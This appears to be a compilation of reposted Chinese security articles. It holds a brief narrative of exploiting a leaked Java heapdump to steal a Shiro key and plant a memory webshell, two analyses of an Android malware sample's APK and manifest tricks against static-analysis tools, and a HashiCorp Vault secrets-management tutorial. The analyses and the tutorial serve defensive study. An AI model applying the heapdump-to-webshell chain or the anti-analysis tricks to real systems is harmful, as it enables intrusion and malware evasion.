开始扫描图片并发现其中存在heapdump，下载下来。Heap Dump也叫堆转储文件，是一个Java进程在某个时间点上的内存快照。可以通过Eclipse MemoryAnalyzer工具对泄露的heapdump文件进行分析，查询加载到内存中的明文密码信息,比如redis密码,mysql数据库账号和密码。这里我用的是whwlsfb师傅的JDumpSpider
https://github.com/whwlsfb/JDumpSpider图片成功获取shiro的key图片打入内存马。图片获取管理员权限图片
转自原文链接地址： https://mp.weixin.qq.com/s/-ZdaVuqVmsw9PCHYDYuABA
HireHackking

背景

隨著移動應用的廣泛普及，惡意軟件也日趨複雜和隱蔽。本報告著眼於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

樣本哈希值：

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

在ReBensk 提交至incinerator.cloud 的多個惡意樣本中，我們特別關注了一款經過自定義修改的APK 文件，以下簡稱為“樣本b356”。這個樣本採用了獨特的混淆和隱蔽技術，導致標準的解壓縮工具無法成功解壓其內容。通過特定的修正操作，我們成功突破這一限制，並進一步分析了該樣本。

分析過程

1. 解壓失敗分析

在嘗試使用7z 工具解壓這個APK 文件時（Apk 本質上是一個ZIP 文件），遇到錯誤顯示AndroidManifest.xml header錯誤，這說明標準的解壓過程無法正確地解壓樣本b356。

1.PNG

在使用010 Editor 打開APK 文件並應用ZipAdv 模板進行解析後，並未發現任何明顯的錯誤或異常。

2.PNG

為了更深入地了解問題，我們打開了一個正常運行的APK 文件進行對比分析。這樣做是為了確定是否存在某種特殊或不規則的結構或數據，可能是導致解壓失敗的原因。

3.PNG

通過對比發現，我們發現樣本b356 採用了一個不非法的壓縮算法0x23C2。在標準的ZIP 格式規範中，壓縮方法由一個短整數（short）表示，取值通常如下文所示（以下代碼取自010 Editor 的ZIPAdv.bt 模板）。由於0x23C2不是任何已知的標準壓縮方法，因此7z 等解壓工具無法識別和處理。

微信图片_20230830182439.png

因此，樣本b356 採用了未知的壓縮算法，導致通用壓縮工具解壓縮失敗。但為什麼它能在Android 系統上仍然可以成功安裝和運行呢？

2. Android 系統的成功解析與運行原因

正如下圖所示， 根據Android 系統源代碼，當系統遇到非COMP_DEFLATE的壓縮算法時，它會採用“未壓縮”（COMP_STORED）的方法處理輸入文件。具體來說，系統直接讀取未壓縮數據的長度，並據此進行解析。

4.png

5.png

6.png

7.png

9.png

10.png

11.png

請注意看黃框和紅框中的代碼對比，在黃框中，如果使用的是COMP_DEFLATE 壓縮算法，系統將按照相應的方法解壓縮，如果不是，系統將直接讀取壓縮前的長度，然後進行處理。

這就解釋了為什麼修改了AndroidManifest 的壓縮方法後，系統仍然可以正確運行。樣本b356 在正常打包流程完成後，將包中的AndroidManifest.xml 文件內容替換為未壓縮前的內容，並將壓縮算法替換為非COMP_DEFLATE 。因此，常規解壓工具會失敗，但Android 系統會按照未壓縮的方式處理，因此可以正常運行。

3. 解壓程序的修改建議

3.1 修復 Apk

12.png

按照Android 系統的處理方式，Apk 的AndroidManifest.xml 只能採用兩種壓縮方式。 COMP_DEFLATE 或未壓縮。

如果壓縮算法不是默認的COMP_DEFLATE ，那麼一定是未壓縮。因此修復apk 的方法是，如果發現壓縮算法不是COMP_DEFLATE ，將壓縮算法設置為0，即未壓縮，並將壓縮後的長度設置為壓縮前的長度。這樣，常規解壓工具就可以解壓了。

修復後，我們嘗試使用7-Zip（通常簡稱為7z）工具進行解壓，結果如下圖所示。儘管仍然存在錯誤，特別是關於CRC（循環冗餘檢查）值尚未修復的問題，但我們已成功解壓了APK 文件，並可以訪問其中的AndroidManifest.xml 內容。

13.png

14.png

3.2 靜態分析工具的修復

靜態分析工具可以按照系統的解壓方式處理，如果發現AndroidManifest.xml 的壓縮方法不是COMP_DEFLATE ，那麼就讀取壓縮前的長度作為AndroidManifest.xml 的內容。

總結

由於Android 系統在解析時對非COMP_DEFLATE 的壓縮方式採取的是未壓縮處理，從邏輯上看，這種做法並不符合規範，因此，導致b356 成功地利用了這一邏輯漏洞。徹底的解決方案應該是Android 系統按照規範的zip 包解壓格式進行處理。

來源：https://www.liansecurity.com/#/main/news/GzKmQIoBUQjGUXE22_tO/detail

HireHackking

背景

隨著移動應用的廣泛普及，惡意軟件也日趨複雜和隱蔽。本報告聚焦於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

基本信息

樣本哈希值：

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

經由ReBensk 提交至incinerator.cloud 的多個惡意樣本中，我們特別關注了一款經過自定義修改的APK 文件，以下簡稱為“樣本b356”。這一樣本具有獨特的混淆和隱蔽技術，導致標準的解壓縮工具成功解壓其內容。我們通過針對性修復後，成功解壓縮。但是常用的apk 分析工具仍然分析失敗，通過進一步深度分析，我們得以突破樣本的限制，最終能夠成功分析。

分析過程

1. AndroidManifest.xml 的文件類型修改

1.1 分析失敗的原因

我們利用010 Editor 打開樣本b356 中修復後的AndroidManifest.xml 二進製文件。嘗試用該工具的AndroidResource 模板進行分析時，首次嘗試遭到失敗。從錯誤日誌中了解到，問題起始於文件的pos:0。

1.PNG

通過與正常的AndroidManifest.xml 二進製文件對比，我們發現其首個字節即有差異。

2.PNG

資源文件的類型定義如下：

enum {

RES_NULL_TYPE=0x0000,

RES_STRING_POOL_TYPE=0x0001,

RES_TABLE_TYPE=0x0002,

RES_XML_TYPE=0x0003, //Chunk types in

RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE=0x0100,

RES_XML_START_NAMESPACE_TYPE=0x0100,

RES_XML_END_NAMESPACE_TYPE=0x0101,

RES_XML_START_ELEMENT_TYPE=0x0102,

RES_XML_END_ELEMENT_TYPE=0x0103,

RES_XML_CDATA_TYPE=0x0104,

RES_XML_LAST_CHUNK_TYPE=0x017f, //This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE=0x0180, //Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE=0x0200,

RES_TABLE_TYPE_TYPE=0x0201, RES_TABLE_TYPE_SPEC_TYPE=0x0202

};

按照Android 規範，該字節通常應為0x03，但在樣本b356 中並非如此。

1.2 為什麼 android 系統可以解析

定位到android 系統解析源碼，

2（2）.png

這裡是開始解析Androidmanifest.xml 二進製文件的地方，如源碼所示,沒有驗證前兩個字節是否是0x0003，只對headerSize 的合法性做了驗證。所以樣本b356 修改了文件類型後，android 系統仍然能夠正確解析。

1.3 修復建議

靜態分析工具修復建議：和Android 系統解析流程保持一致，此處不校驗文件類型。

2. stringPoolSize 修改

2.1 數據異常點分析

我們手動修正首個字節為0x03 以便進一步分析。再次嘗試用AndroidResource 模板解析後，發現分析仍然失敗，只展示了字符串池（string pool）而沒有解析出XML 主節點。

3.png

展開stringoffsets的數據進行查看，從第131 個stringoffset開始，數據顯著異常，遠超文件全長，明顯是錯誤的。進一步分析stringPool的頭部信息，計算出實際的字符串個數為131。

4.png

在樣本b356 的stringoffsets字段中，從第131 個開始，數據明顯存在異常：這些值遠遠超過了整個文件的實際長度。這種不一致性明顯指向了一個錯誤，也意味著記錄在stringoffsets中的數量很可能是不准確的。

5.png

在深入分析樣本b356 中的stringpool結構時，我們首先確認了strdata[0]，即stringpool中的第一個字符串，被正確解析。這一點是非常關鍵的，因為它證明了我們的解析起始位置（0x230，即十進制的560）是準確的。

stringsStart字段指出了從文件頭（header）開始計算，552 個字節後就是stringpool的開始位置。由於通常會有8 個字節用於存儲stringpool的元信息（例如長度或其他標記），所以552+8 恰好等於560。

6.png

這自然引發了一個問題：這552 個字節的具體內容是什麼？我們知道strPoolheader自身就佔用了28 個字節（或者說是0x1C）。如果從552 個字節中扣除這28 個字節，那麼剩下的524 個字節用於什麼呢？

剩下的524 個字節非常可能是用於存儲stringoffsets的。每個stringoffset通常會佔用4 個字節，因此524/4 正好等於131。這一點與我們之前通過手動計算得出的stringoffsets數量是一致的。

7.png

在之前的深度分析中，我們推斷出stringoffsets的實際數量為131，這與樣本b356 中錯誤地標識的數量不一致。為了能更準確地解析該樣本，我們決定修正stringCount字段。

2.2 為什麼 Android 系統能夠正確解析

7(2).png

如上圖系統解析stringPoolsize的源碼所示，stringPoolsize是計算得到，所以樣本b356 修改了stringPoolsize讓眾多通過從文件中讀取stringPoolsize的靜態分析工具失效，但android 系統在解析時任然可以通過計算得到正確的stringPoolSize。

2.3 修改建議

靜態分析工具修改建議：按照android 系統的做法，stringPoolSize通過計算得到，而不是從文件中解析。

手動調整：首先，在樣本b356 的stringPool頭部中找到stringCount字段，並將其值修改為131。

重新解析：在完成修正操作後，我們再次使用010 Editor配合AndroidResource模板來解析樣本。

經過修改後，我們發現XML 的主要節點已經成功被解析。這意味著我們的手動修正是有效的，並且我們現在能夠看到該樣本的更多內部細節。

8.png

儘管我們手動修復了stringCount和成功用010 Editor解析了AndroidManifest.xml的主要節點，使用專用的靜態分析工具依然會出錯。具體的錯誤出現在二進製文件的0x1588字節位置。

3. 在 xml 節點結束位置插入混淆數據

3.1 數據異常分析

我們手動修改stringCount的131，以便繼續分析。

010 Editor 重新加載修改後的文件，結果如圖如下圖所示：

9.png

010 Editor 在解析時已經沒有問題了，但是用靜態分析工具解析時在0x1588遇到非預期數據。

在0x1587字節位置，第一個XML 元素已經結束。靜態分析工具預期0x1588字節作為下一個ResChunk_header的起始點進行分析。然而，在0x158A字節位置嘗試解析size字段時，出現異常。根據ResChunk_header結構的約束，這個size值應該至少大於8，但實際數據並沒有滿足這一條件。

樣本b356 應該是在0x1588字節處插入了一些非標准或混淆的數據，導致靜態分析工具分析出錯。

查看010 Editor 的解析結果得知，startEle 的headersize字段進行了改動，以便在元素結束後添加混淆內容。

10.png

在解析attribute字段之後，如果解析尚未完成或遇到異常，工具應自動跳過到elementStart + size的位置，從那裡開始解析下一個元素。這樣做的目的是繞過可能存在的干擾或錯誤數據。

3.2 為什麼 Android 系統可以解析

如下圖android 系統源碼所示，讀取每個attribute 的數據通過attributeExt的位置，attributeExt的start，attributeExt的attributeSize 計算得到的，attributeExt的start，attributeExt的attributeSize 從byte 中讀取，所以只要attributeExt的attributeStart 正確，就能保證獲取到正確attributeData。

11.png

那attributeExt是怎麼定位的？如下圖源碼所示，每次解析下一個節點的時候，都是當前節點的位置加上header 中讀到的size的長度。

以上文中的案例來描述就是，startEle[1]的位置=startEle[0]的位置+startEle[0].header-size。所以樣本b356 在原先apk 的startEle[0]結束後填充干擾數據的同時，也修改了startEle[0].header-size 的長度，從而讓系統正確解析。

12.png

3.3 修改建議

靜態分析工具修改建議：參照Android 系統的解析方法，每個xml 節點的起始位置是通過上一個節點的起始位置+ 上一個節點的長度。

總結

“b356”樣本展示了多層次、多維度的混淆和隱蔽技術，其目的明確：抵制和破壞標準解壓縮工具和靜態分析解碼的能力。

b356 能夠混淆成功，主要原因是android 系統解析處理流程和市面上常用的靜態分析工具在一些細節上存在出入。

此樣本中只有三個修改點，其他的樣本中還存在一下其他的點，我們在下一篇blog 中會接著分析。

但是主動的對抗方式肯定不是針對每個點修修補補，而是統一靜態分析方式和android 系統解析流程。比方說，把系統源碼中解析方式轉換成靜態分析工具的方式，這個需要社區的共同努力。

來源：https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

HireHackking

您的開發團隊多久以明文形式向同事發送API 密鑰或其他敏感數據？雖然這是共享數據最快的方式，但它絕對不是最安全的。

當敏感數據最終出現在配置文件、源代碼或明文中時，就會發生大量洩露。這個問題被稱為秘密蔓延，它會給企業帶來不利的後果。

秘密蔓延導致的數據洩露會給公司帶來財務損失、聲譽損害和法律問題。您可以通過使用可靠的機密管理工具來降低這些風險，該工具允許您安全地共享、存儲和管理您的機密。

本文對於想要保護公司免受與秘密蔓延相關的漏洞的開發人員、安全專業人員和產品經理來說非常有用。

什麼是秘密蔓延，為什麼要關心？在軟件開發中，秘密是用於用戶授權和身份驗證並提供對系統或數據的訪問的任何信息。此類信息包括：

API 密鑰

密碼

加密密鑰

數據庫憑證

訪問令牌

秘密蔓延，也稱為秘密洩露或管理不善，是指對公司軟件和基礎設施內的秘密處理不當。管理不善的秘密對於黑客來說是有利可圖且容易攻擊的目標，他們可以利用這些秘密進行未經授權的訪問。

根據GitGuardian 的2023 年秘密蔓延狀況報告，2022 年，在公共GitHub 提交中檢測到了1000 萬個新秘密，比2021 年增加了67%。 GitGuardian 指出，更多的秘密在私人存儲庫或企業IT 資產等封閉空間中積累，這意味著GitHub 上蔓延的秘密僅佔全球公開秘密的一小部分。

為了有效降低秘密蔓延的風險，您需要知道去哪裡尋找。這些是秘密蔓延最常見的地方：

image.png

洩密對企業到底有哪些危害？以下是組織因秘密蔓延而面臨的六種最常見後果：

image.png

讓我們詳細討論每個後果。

1. 數據洩露當然，秘密蔓延最明顯的後果是數據洩露。通過暴露API 密鑰或密碼，您的公司可能面臨讓攻擊者訪問其係統、數據庫和敏感數據的風險。這會導致數據洩露，並可能導致有價值的信息被盜，包括知識產權、財務記錄，甚至用戶數據。

2、財務損失由於秘密蔓延，企業可能會通過多種方式遭受損失。黑客可以圍繞金融交易進行欺詐活動，甚至實施盜竊。他們還可以破解和配置系統，以獲得數據訪問的贖金。您可能面臨的另一類與數據洩露相關的財務損失是法律費用、監管罰款以及對受影響方的賠償。

根據IBM 的《2022 年数据泄露成本报告》 ，因憑證被盜或洩露而導致的數據洩露造成的全球平均成本為450 萬美元。在美國，這一成本甚至更高，每次洩露達到977 萬美元。

3. 名譽損害數據洩露和秘密蔓延事件可能會嚴重損害您公司的聲譽。數據洩露案件會引起負面宣傳、媒體關注和客戶強烈反對。所有這一切之後往往會失去客戶、業務合作夥伴和投資者。

聲譽受損可能會阻止客戶、合作夥伴和投資者離開您的公司，並激勵他們與您的競爭對手合作。這將為競爭對手創造額外的商機，讓他們獲得更大的市場份額。

4. 合規和法律問題客戶數據處理不當可能會導致不遵守各種數據保護和隱私法律法規，包括HIPAA、GDPR和CCPA。因此，您可能會面臨罰款、處罰和訴訟，從而導致進一步的聲譽和財務損失。更不用說您的公司需要經歷與重新認證和重新審核相關的額外壓力才能繼續其工作。

5. 運營中斷您的業務運營也可能會受到秘密蔓延的影響，因為您需要分配資源用於調查、事件響應和補救活動。您可能需要關閉系統和服務，直到它們得到保護，而這種停機的每一秒都可能造成數千美元的損失。

儘管存在這些後果，秘密蔓延事件的數量仍在逐年增加，損害了各種規模的企業。根據GitGuardian 的2023 年秘密蔓延狀況報告，僅在2022 年，許多世界知名公司就因秘密蔓延而受到數據洩露和洩露的影響：

image.png

企業應該怎樣做才能降低洩露秘密的風險？讓我們看一下保護敏感數據的最佳實踐。

最大限度降低秘密蔓延風險的最佳實踐為了防止秘密蔓延，我們Apriorit 建議在您的開發過程中採用以下最佳安全實踐：

image.png

1. 加密和訪問控制您的秘密應在靜態和傳輸過程中進行加密，以便即使信息洩露，黑客也無法訪問信息。此外，檢查誰有權訪問某些數據：根據職位和工作要求，僅向有限數量的員工授予系統訪問權限。

2. 安全開發實踐實施安全編碼實踐，例如避免在源代碼中硬編碼機密以及利用環境變量或配置文件來引用機密。

3. 定期審核和審查確保定期檢查您的系統：

滲透測試

靜態應用安全測試

動態應用安全測試

安全代碼審查

秘密掃描工具

安全審計和合規性評估

4. 保密管理制度使用秘密管理系統可以幫助您安全地存儲和控制對秘密數據的訪問。最流行的系統是HashiCorp Vault 和AWS Secrets Manager。

在許多方面，秘密管理解決方案類似於密碼管理器。大多數密碼管理器都很簡單，並且不具有每用戶權限或訪問控制列表(ACL) 等高級功能。他們可以在需要時存儲和檢索密碼，但除此之外就無能為力了。

秘密管理解決方案預計具有更複雜的功能：

創建ACL

為用戶或用戶組添加權限

內置憑證輪換

先進的訪問控制功能

本文致力於使用秘密管理系統（即HashiCorp Vault）來保護您的秘密。讓我們討論如何安裝、初始化和配置HashiCorp 機密管理工具。

什麼是HashiCorp Vault 以及它如何工作？ HashiCorp Vault是一個基於身份的開源秘密和加密管理系統，具有許多用例和功能。例如，Vault 支持零信任安全架構，可以幫助您保護雲基礎設施。

HashiCorp 已通過ISO 認證。 ISO 認證可確保組織實施穩健的系統、流程和控制，以維持質量、安全性和合規性。審計報告和合規函，例如Armanino的SOC 3報告和Leidos的FIPS合規函進一步證明HashiCorp經過了嚴格的測試和評估。

您可以開始免費使用Vault 進行機密管理，或者如果您需要特定的解決方案，可以從兩個付費計劃中進行選擇。您可以在HashiCorp Vault 官方網站上查看定價政策。

Vault 具有復雜的結構，並使用稱為後端的組件來向其委派任務。 Vault 中有四個專用於不同流程的後端：身份驗證、秘密、審計和存儲。所有這些都由Vault 核心控制——Vault 架構的核心組件，它將所有用戶請求路由到特定後端。

image.png

現在讓我們更詳細地討論秘密管理庫中的後端，並討論它們的功能和目的。

1. 認證後端身份驗證後端或身份提供商負責處理身份驗證過程，並在身份驗證成功後返回用戶身份（通常作為令牌或用戶信息，如電子郵件、ID、角色等）。

令牌身份驗證是一種中心身份驗證方法，因為所有其他方法都依賴於它。它到底是如何運作的？

當用戶成功進行身份驗證時，身份提供者會返回有關用戶的信息，例如用戶名或唯一標識符。然後，Vault 獲取此身份信息並創建與該身份關聯的訪問令牌。此訪問令牌允許用戶根據配置的訪問策略和權限訪問所需的資源或在Vault 內執行特定操作。

image.png

當然，令牌認證可以單獨使用。無需使用任何其他身份提供商即可創建、撤銷和更新這些令牌。但這並不總是處理身份驗證的最佳方式。

令牌在訪問控制中也發揮著至關重要的作用，因為當創建令牌時，允許或禁止訪問資源的特定於用戶的策略會被編碼到令牌上。

與Vault 集成的身份驗證後端的一些示例包括輕量級目錄訪問協議(LDAP)、GitHub 和Azure Active Directory。您還可以使用其他受支持的身份驗證方法，例如JSON Web 令牌、Kerberos，甚至標準用戶名和密碼。

2. 存儲後端存儲後端負責存儲所有信息。普遍接受的做法是將存儲後端視為不可信實體。與許多其他機密管理解決方案一樣，Vault 僅將加密數據存儲在存儲後端，因此如果存儲遭到破壞，在不知道加密密鑰的情況下就不可能檢索機密。 

Vault 支持許多存儲驅動程序，包括文件系統、內存存儲、關係數據庫和Amazon S3。每種方法都有其優點和缺點，因此哪種方法最好取決於您的特定需求和存儲驅動程序的功能。

此外，Vault還有自己的嵌入式數據存儲，稱為集成存儲。使用此集成存儲可以消除系統中的另一個依賴項，並使監控和故障排除變得更加容易，因為您只需監控Vault。

使用Vault 的本機存儲驅動程序不需要安裝任何其他軟件，並且是開箱即用的解決方案。

3. 秘密後端秘密後端，或秘密管理HashiCorp 工具中的秘密引擎，負責各種存儲秘密的方式。一些秘密引擎只能存儲和讀取數據，而另一些則具有更複雜的功能，例如動態秘密生成。

支持的引擎有很多，包括鍵值存儲、輕量級目錄訪問協議(LDAP)、數據庫（用於動態數據庫憑證生成）、用於生成基於時間的憑證的基於時間的一次性密碼(TOTP) 工具，以及來自AWS、GCP 和Azure 的引擎。我們還可以添加自定義秘密引擎。

這些引擎的行為類似於虛擬文件系統，並安裝在Vault 中的指定路徑上。我們可以讓多個引擎同時運行，並且它們都有不同的路徑。由於每個引擎都有自己的路徑，因此我們發送到Vault 的請求會自動轉發到所需的引擎。

例如，我們可以啟用一個鍵值秘密引擎來存儲我們的密碼和API 密鑰，同時擁有一個AWS 秘密引擎來動態生成AWS 訪問憑證。

4. 審計後端審核後端負責記錄Vault 處理的所有請求和響應。記錄機密管理器的活動可能看起來不安全，因為我們很可能將機密保存在日誌中。

但是，Vault 通過對請求和響應包含的大部分字符串進行哈希處理來處理此問題，以避免洩露敏感信息。散列還允許我們通過自己生成這些散列來快速將秘密值與日誌中的值進行比較。

您可以從多種審核機制中進行選擇，包括系統日誌記錄協議(Syslog)、文件或套接字。 Socket 允許您將日誌流式傳輸到TCP、UDP 或UNIX 套接字，從而允許您使用任何日誌管理平台。

現在我們了解了Vault 的工作原理及其提供的功能，讓我們使用Hashicorp Vault 安全最佳實踐在現實示例中進行演示。

安裝、配置和初始化Vault讓我們開始根據我們的需要安裝、配置和運行Vault。

安裝在本文中，我們將使用Docker Hub中的官方Docker 映像。 Docker允許應用程序容器化，方便我們在隔離的環境中運行Vault。這是嘗試Vault 的最簡單方法。現在讓我們通過在終端或命令提示符中運行以下命令來啟動Vault：

image.png

如果本地尚未提供Vault Docker 映像，這將下載該映像，並啟動一個在其中運行Vault 的新容器。

保險庫配置默認情況下，Vault 的服務器以開發模式運行：它使用內存存儲存儲所有秘密，自動初始化，並以未密封的方式啟動。開發模式對於嘗試事物很有用，但不應該在生產中使用。

在我們的例子中，我們將使用標準模式，這意味著需要手動初始化和啟封Vault。要在標準模式下運行我們的服務器，我們應該創建一個配置文件。

Vault的配置文件是用HashiCorp配置語言編寫的。它們有許多不同的選項，但我們在整篇文章中只會使用其中的幾個。 

讓我們為我們的Vault 創建一個簡單的配置：

image.png

現在，我們來看看關鍵設置。首先，我們禁用了傳輸層安全協議（TLS）。請注意，您應始終在生產中使用TLS 來提供客戶端和服務器之間的安全通信。

其次，我們禁用內存鎖。儘管啟用內存鎖被認為是使用Vault 時最安全的方法，但並非所有平台都支持它，我們希望我們的示例盡可能簡單，沒有任何意外錯誤。我們還啟用了Web UI，因為有些人發現它比命令行界面(CLI) 更容易、更快。

現在我們可以通過將配置的路徑作為參數傳遞來使用新配置啟動服務器：

image.png

一切都按預期進行，但現在我們必須初始化服務器本身。

初始化保管庫為了初始化我們的服務器，我們需要另一個安裝了Vault 的Docker 容器。為了簡化該過程，我們創建了以下Dockerfile：

services:

vault_server:

image:vault

container_name:vault-server

command:['server']

cap_add:

-IPC_LOCK

ports:

-8200:8200

environment:

VAULT_LOCAL_CONFIG:'{'storage':{'file':{'path':'/vault/file'}},'listener':[{'tcp':{'address':'0.0.0.0:8200','tls_disable':true}}],'disable_mlock':true,'ui':true}'

networks:

-vault

vault_client:

image:vault

container_name:vault-client

command:['sh']

tty:true

stdin_open:true

environment:

-VAULT_ADDR=http://vault-server:8200

depends_on:

-vault_server

networks:

-vault

networks:

vault:

driver:bridge請注意，我們將配置從文件移至環境變量。這是Vault 官方Docker 鏡像提供的功能。它允許我們直接在環境中定義必要的配置參數，而不需要單獨的文件。

我們還將服務器中的TCP 端口8200 映射到Docker 主機的端口8200，以便從Docker 主機訪問Web UI。

現在我們可以使用Docker Compose來啟動我們的容器。 Docker Compose 是一個允許我們定義和管理多容器Docker 應用程序的工具。它使用YAML 文件（通常名為docker-compose.yml）來指定組成應用程序的容器的配置和依賴項。

這是我們的容器創建的樣子：

$dockercomposeup

[+]Running2/2

⠿Containervault-serverCreated

⠿Containervault-clientCreated

Attachingtovault-client,vault-server

#Vaultserveroutput此時，我們還將提供Web UI 的屏幕截圖，以展示如何在不使用命令行界面的情況下執行完全相同的操作。您可以通過從您選擇的任何瀏覽器導航到http://localhost:8200來訪問Web UI 。用戶界面如下所示：

image.png

屏幕截圖1.Vault 的Web UI

最後，我們需要將終端會話從另一個終端附加到我們的Vault-Client容器（如果您使用的是Web UI，則可以完全跳過這些CLI步驟）：

image.png

您可以通過在客戶端內執行以下命令來驗證一切是否按預期運行：

image.png

從輸出中我們可以看到，Vault 是密封的且未初始化。 Vault 始終以密封狀態啟動，因此我們應該在每次啟動後將其解封。

為此，我們使用開封密鑰。該密鑰在初始化期間生成一次。 Vault 使用Shamir 的秘密共享將密鑰分割成預定義數量的部分，然後使用這些部分來重建它。這種方法降低了暴露未密封代幣的風險，因為我們只擁有其中的一部分。其他部件可以由您的同事保管或安全地存放在不同的地方。 

要解封Vault，請在客戶端內運行以下命令：

image.png

指定您需要一份密鑰共享，並且密鑰閾值是一把密鑰。現在按初始化並保存生成的密鑰。

image.png

屏幕截圖2. 設置根密鑰

這將使用單個解封密鑰初始化服務器。將生成的令牌和密鑰保存到環境變量中。我們稍後會需要它們。從現在開始，我們將初始根令牌稱為ROOT_TOKEN，將Vault 服務器初始化期間生成的第一個解封密鑰（密鑰1）稱為UNSEAL_KEY。

Vault 支持多個解封密鑰，但由於我們只是在學習而不是創建可用於生產的解決方案，因此我們將使用一個。

現在您可以使用解封密鑰來解封服務器：

image.png

粘貼UNSEAL_KEY 並按Unseal。

image.png

截圖3. 解封金庫

現在一切都準備好了，我們終於可以開始使用Vault 了。